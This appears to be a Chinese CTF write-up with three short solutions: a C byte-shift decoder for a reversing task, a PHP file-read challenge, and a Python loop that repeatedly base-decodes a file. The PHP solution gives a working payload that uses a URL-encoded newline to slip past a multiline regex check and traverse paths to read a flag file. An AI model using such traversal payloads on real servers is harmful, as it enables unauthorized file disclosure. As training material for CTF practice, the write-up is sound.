赞
踩
题目表述:
做法:
向晚0612
题目描述:
题目描述:
#include<bits/stdc++.h>
using namespace std;
unsigned char enc[] = {
0x76, 0x73, 0x85, 0x75, 0x86, 0x78, 0xAD, 0x6B, 0x97, 0x68,
0x98, 0x67, 0x64, 0x64, 0x62, 0x97, 0x68, 0x98, 0x6B, 0x6B,
0x96, 0x67, 0x62, 0x69, 0x95, 0x96, 0x65, 0x96, 0x6A, 0x69,
0x69, 0x65, 0x66, 0x97, 0x68, 0x98, 0x6A, 0x95, 0x68, 0xAF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
int main(){
for (int i = 0; i <= 39; i++){
enc[i]-=50;
}
printf("%s",enc);
}
// Py : for i in enc: print(chr(int(i)-50),end='')
题目描述:
<?php
// Present from glzjin :)
highlight_file(__FILE__);
$file = $_GET['file'];
if(preg_match('/^hint\/hint.txt$/m', $file)) {
echo file_get_contents($file);
} else {
echo "Try again!";
} Try again!
做法:
?file=hint/hint.txt%0a../../../../../../flag
题目描述
做法:
用工具尝试进行base循环解密即可。
import base64
with open(r'decode_and_decode的附件22.txt', 'r', encoding='utf-8') as f:
for a in f:
while 1:
try:
a = base64.b64decode(a).decode("utf-8")
except:
pass
try:
a = base64.b32decode(a).decode("utf-8")
except:
pass
try:
a = base64.b16decode(a).decode('utf-8')
except:
pass
if "{" in a:
print(a)
break
得到flag
其他可做题:
web:just login,safepop
re:RE人三项,preprocess
pwn:pwn1
赞
踩
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。